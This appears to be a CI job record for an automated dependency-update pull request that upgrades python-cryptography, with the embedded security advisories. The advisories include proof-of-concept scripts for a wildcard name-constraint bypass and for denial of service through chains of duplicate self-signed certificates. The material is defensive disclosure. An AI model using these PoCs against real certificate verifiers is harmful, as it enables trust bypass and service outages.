        CA permits the DNS name `foo.example.com`, and the leaf certificate has a
        wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier
        accepts which allows escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
        python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
        wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
        \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
        (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
        further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
        and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
        cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
        cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
        import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
        Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
        1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
        build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
        \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
        \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
        - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
        path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
        c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
        = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
        = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
        = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
        \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n#####
        Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk =
        ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
        = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol =
        ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
        Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
        \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n
        \   .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
        ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
        \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
        though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
        as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
        of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
        Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
        [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
        [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n-
        [https://github.com/pyca/cryptography/commit/286c89128](https://redirect.github.com/pyca/cryptography/commit/286c89128)\n-
        [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml)\n-
        [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        python-cryptography: Duplicate self-signed intermediates can cause exponential
        path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
        / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
        certificate chains that include duplicate copies of self-signed certificates,
        the processing recursively invokes the same candidate, leading to an exponential
        blowup. Although the limitation that the chain depth cannot exceed a specified
        maximum depth prevents unbounded recursion and guarantees termination, an
        attacker-controlled certificate chain can lead the processing to easily take
        more than 5s to reject in testing. This amplification could form the basis
        for a resource exhaustion denial of service attack.\n\nThis work was completed
        by Trail of Bits as part of the Patch The Planet project in collaboration
        with OpenAI. The finding was identified primarily by the Codex coding agent,
        and manually reviewed before submission. \n\n##### Details\nThe core issue
        arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
        against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
        \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
        \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
        \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
        \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let Some(nc)
        = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(&nc.value()?,
        budget)?;\n        }\n\n        // Look in the store's root set to see if
        the working cert is listed.\n        // If it is, we've reached the end.\n
        \       if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
        \       }\n\n        // Check that our current depth does not exceed our policy-configured\n
        \       // max depth. We do this after the root set check, since the depth\n
        \       // only measures the intermediate chain's length, not the root or
        leaf.\n        if current_depth > self.policy.max_chain_depth {\n            return
        Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain
        construction exceeds max depth\".into(),\n            )));\n        }\n\n
        \       // Otherwise, we collect a list of potential issuers for this cert,\n
        \       // and continue with the first that verifies.\n        let mut last_err:
        Option<ValidationError<'_, B>> = None;\n        for issuing_cert_candidate
        in self.potential_issuers(working_cert) {\n            // A candidate issuer
        is said to verify if it both\n            // signs for the working certificate
        and conforms to the\n            // policy.\n            let issuer_extensions
        = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n
        \               issuing_cert_candidate,\n                working_cert,\n                current_depth,\n
        \               &issuer_extensions,\n            ) {\n                Ok(_)
        => {\n                    match self.build_chain_inner(\n```\n\nA sufficient
        patch is to track valid issuers, and to skip seen ones before recursing. By
        tracking valid issuers only, validation and custom extension-policy callbacks
        still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain,
        B>>::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert)
        {\n          . . .\n                  Ok(_) => {\n                      if
        seen_valid_issuers.contains(&issuing_cert_candidate) {\n                         continue;\n
        \                     }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
        \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
        \                         // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn
        testing, this fix removed the exponential blowup without breaking apparent
        correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
        -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
        -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
        -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
        \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
        PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport
        datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom
        cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom
        cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid
        import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import
        (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
        = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n
        \   decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n
        \   return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n
        \       .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n
        \       .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW
        + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n
        \   cert = (\n        base_builder(subject, subject, private_key.public_key(),
        serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None),
        True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
        \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
        \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
        \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
        \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
        100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
        True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
        False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
        \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
        False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
        \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
        unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
        looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
        max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
        \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
        \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
        \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
        [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
        \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
        - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
        \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
        max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
        \   if process.is_alive():\n        process.terminate()\n        process.join()\n
        \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
        \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
        __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
        \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6,
        6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes an
        amplification pathway over data that in many applications may be user-controlled,
        leading to the possibility of a denial of service through resource exhaustion.
        As the correctness of validation is not affected, the integrity of a system
        cannot be compromised through this vector, only its availability.\n\n####
        Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
        [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
        [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n-
        [https://github.com/pyca/cryptography/commit/3763aa79b](https://redirect.github.com/pyca/cryptography/commit/3763aa79b)\n-
        [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml)\n-
        [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
        [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
        [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n###
        [`v48.0.1`](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/48.0.0...48.0.1)\n\n###
        [`v48.0.0`](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/47.0.0...48.0.0)\n\n###
        [`v47.0.0`](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.7...47.0.0)\n\n###
        [`v46.0.7`](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.6...46.0.7)\n\n###
        [`v46.0.6`](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.5...46.0.6)\n\n###
        [`v46.0.5`](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.4...46.0.5)\n\n###
        [`v46.0.4`](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.3...46.0.4)\n\n###
        [`v46.0.3`](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.2...46.0.3)\n\n###
        [`v46.0.2`](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.1...46.0.2)\n\n###
        [`v46.0.1`](https://redirect.github.com/pyca/cryptography/compare/46.0.0...46.0.1)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/46.0.0...46.0.1)\n\n###
        [`v46.0.0`](https://redirect.github.com/pyca/cryptography/compare/45.0.7...46.0.0)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/45.0.7...46.0.0)\n\n###
        [`v45.0.7`](https://redirect.github.com/pyca/cryptography/compare/45.0.6...45.0.7)\n\n[Compare
        Source](https://redirect.github.com/pyca/cryptography/compare/45.0.6...45.0.7)\n\n</details>\n\n---\n\n###
        Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
        At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
        defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
        manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
        conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
        Close this PR and you won't be reminded about this update again.\n\n---\n\n
        - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
        box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
        View the [repository job log](https://developer.mend.io/github/vexxhost/ansible-collection-containers).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjI0NC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->\n"
      change_url: https://github.com/vexxhost/ansible-collection-containers/pull/153
      child_jobs: []
      commit_id: 0e9c4d0d18e3b3906ee3f388efb41a62c77e04ef
      event_id: f417db30-e1f4-11f1-86c3-95dc585ac805
      executor:
        hostname: 2d72f0692154
        inventory_file: /var/lib/zuul/builds/c196b58dc07c495db0d40bfd1afbb774/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/c196b58dc07c495db0d40bfd1afbb774/work/logs
        result_data_file: /var/lib/zuul/builds/c196b58dc07c495db0d40bfd1afbb774/work/results.json
        src_root: /var/lib/zuul/builds/c196b58dc07c495db0d40bfd1afbb774/work/src
        work_root: /var/lib/zuul/builds/c196b58dc07c495db0d40bfd1afbb774/work
      include_vars: []
      items:
      - branch: main
        change: '153'
        change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `45.0.6` \u2192 `50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/45.0.6/50.0.0?slim=true)
          |\n\n---\n\n### cryptography Vulnerable to a Subgroup Attack Due to Missing
          Subgroup Validation for SECT Curves\n[CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)
          / [GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Vulnerability Summary\n\nThe
          `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`),
          `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()`
          functions do not verify that the point belongs to the expected prime-order
          subgroup of the curve.\n\nThis missing validation allows an attacker to
          provide a public key point `P` from a small-order subgroup.  This can lead
          to security issues in various situations, such as the most commonly used
          signature verification (ECDSA) and shared key negotiation (ECDH). When the
          victim computes the shared secret as `S = [victim_private_key]P` via ECDH,
          \ this leaks information about `victim_private_key mod (small_subgroup_order)`.
          For curves with cofactor > 1, this reveals the least significant bits of
          the private key.  When these weak public keys are used in ECDSA , it's easy
          to forge signatures on the small subgroup.\n\nOnly SECT curves are impacted
          by this.\n\n##### Credit\n\nThis vulnerability was discovered by:\n- XlabAI
          Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2)\n-
          [https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c](https://redirect.github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c)\n-
          [https://github.com/pyca/cryptography/releases/tag/46.0.5](https://redirect.github.com/pyca/cryptography/releases/tag/46.0.5)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)\n-
          [http://www.openwall.com/lists/oss-security/2026/02/10/4](http://www.openwall.com/lists/oss-security/2026/02/10/4)\n-
          [https://github.com/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography has incomplete DNS name constraint enforcement on peer names\n[CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)
          / [GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nIn versions of cryptography
          prior to 46.0.5, DNS name constraints were only validated against SANs within
          child certificates, and not the \"peer name\" presented during each validation.
          Consequently, cryptography would allow a peer named `bar.example.com` to
          validate against a wildcard leaf certificate for `*.example.com`, even if
          the leaf's parent certificate (or upwards) contained an excluded subtree
          constraint for `bar.example.com`.\n\nThis behavior resulted from a gap between
          RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines
          service identity semantics): put together, neither states definitively whether
          Name Constraints should be applied to peer names. To close this gap, cryptography
          now conservatively rejects any validation where the peer name would be rejected
          by a name constraint if it were a SAN instead.\n\nIn practice, exploitation
          of this bypass requires an uncommon X.509 topology, one that the Web PKI
          avoids because it exhibits these kinds of problems. Consequently, we consider
          this a medium-to-low impact severity.\n\nSee CVE-2025-61727 for a similar
          bypass in Go's `crypto/x509`.\n\n##### Remediation\n\nUsers should upgrade
          to 46.0.6 or newer. \n\n##### Attribution\n\nReporter: @&#8203;1seal\n\n####
          Severity\n- CVSS Score: 1.7 / 10 (Low)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml)\n-
          [https://github.com/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Cryptography vulnerable to buffer overflow if non-contiguous buffers were
          passed to APIs\n[CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)
          / [GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nIf a non-contiguous buffer was passed
          to APIs which accepted Python buffers (e.g. `Hash.update()`), this could
          lead to buffer overflows. For example:\n\n```python\nh = Hash(SHA256())\nb.update(buf[::-1])\n```\n\nwould
          read past the end of the buffer on Python >3.11\n\n#### Severity\n- CVSS
          Score: 6.9 / 10 (Medium)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)\n-
          [http://www.openwall.com/lists/oss-security/2026/04/08/12](http://www.openwall.com/lists/oss-security/2026/04/08/12)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml)\n-
          [https://github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27](https://redirect.github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27)\n-
          [https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5](https://redirect.github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5)\n-
          [https://access.redhat.com/errata/RHSA-2026:19375](https://access.redhat.com/errata/RHSA-2026:19375)\n-
          [https://access.redhat.com/errata/RHSA-2026:43651](https://access.redhat.com/errata/RHSA-2026:43651)\n-
          [https://access.redhat.com/errata/RHSA-2026:43670](https://access.redhat.com/errata/RHSA-2026:43670)\n-
          [https://access.redhat.com/errata/RHSA-2026:43851](https://access.redhat.com/errata/RHSA-2026:43851)\n-
          [https://access.redhat.com/errata/RHSA-2026:43853](https://access.redhat.com/errata/RHSA-2026:43853)\n-
          [https://access.redhat.com/errata/RHSA-2026:43854](https://access.redhat.com/errata/RHSA-2026:43854)\n-
          [https://access.redhat.com/errata/RHSA-2026:43855](https://access.redhat.com/errata/RHSA-2026:43855)\n-
          [https://access.redhat.com/errata/RHSA-2026:46956](https://access.redhat.com/errata/RHSA-2026:46956)\n-
          [https://access.redhat.com/errata/RHSA-2026:7295](https://access.redhat.com/errata/RHSA-2026:7295)\n-
          [https://access.redhat.com/security/cve/CVE-2026-39892](https://access.redhat.com/security/cve/CVE-2026-39892)\n-
          [https://bugzilla.redhat.com/show_bug.cgi?id=2456735](https://bugzilla.redhat.com/show_bug.cgi?id=2456735)\n-
          [https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json)\n-
          [https://access.redhat.com/errata/RHSA-2026:20338](https://access.redhat.com/errata/RHSA-2026:20338)\n-
          [https://access.redhat.com/errata/RHSA-2026:21017](https://access.redhat.com/errata/RHSA-2026:21017)\n-
          [https://access.redhat.com/errata/RHSA-2026:22465](https://access.redhat.com/errata/RHSA-2026:22465)\n-
          [https://access.redhat.com/errata/RHSA-2026:22629](https://access.redhat.com/errata/RHSA-2026:22629)\n-
          [https://access.redhat.com/errata/RHSA-2026:22840](https://access.redhat.com/errata/RHSA-2026:22840)\n-
          [https://access.redhat.com/errata/RHSA-2026:23361](https://access.redhat.com/errata/RHSA-2026:23361)\n-
          [https://access.redhat.com/errata/RHSA-2026:24483](https://access.redhat.com/errata/RHSA-2026:24483)\n-
          [https://access.redhat.com/errata/RHSA-2026:24761](https://access.redhat.com/errata/RHSA-2026:24761)\n-
          [https://access.redhat.com/errata/RHSA-2026:24762](https://access.redhat.com/errata/RHSA-2026:24762)\n-
          [https://access.redhat.com/errata/RHSA-2026:24853](https://access.redhat.com/errata/RHSA-2026:24853)\n-
          [https://access.redhat.com/errata/RHSA-2026:24866](https://access.redhat.com/errata/RHSA-2026:24866)\n-
          [https://access.redhat.com/errata/RHSA-2026:24977](https://access.redhat.com/errata/RHSA-2026:24977)\n-
          [https://access.redhat.com/errata/RHSA-2026:30088](https://access.redhat.com/errata/RHSA-2026:30088)\n-
          [https://access.redhat.com/errata/RHSA-2026:30089](https://access.redhat.com/errata/RHSA-2026:30089)\n-
          [https://access.redhat.com/errata/RHSA-2026:37275](https://access.redhat.com/errata/RHSA-2026:37275)\n-
          [https://access.redhat.com/errata/RHSA-2026:42644](https://access.redhat.com/errata/RHSA-2026:42644)\n-
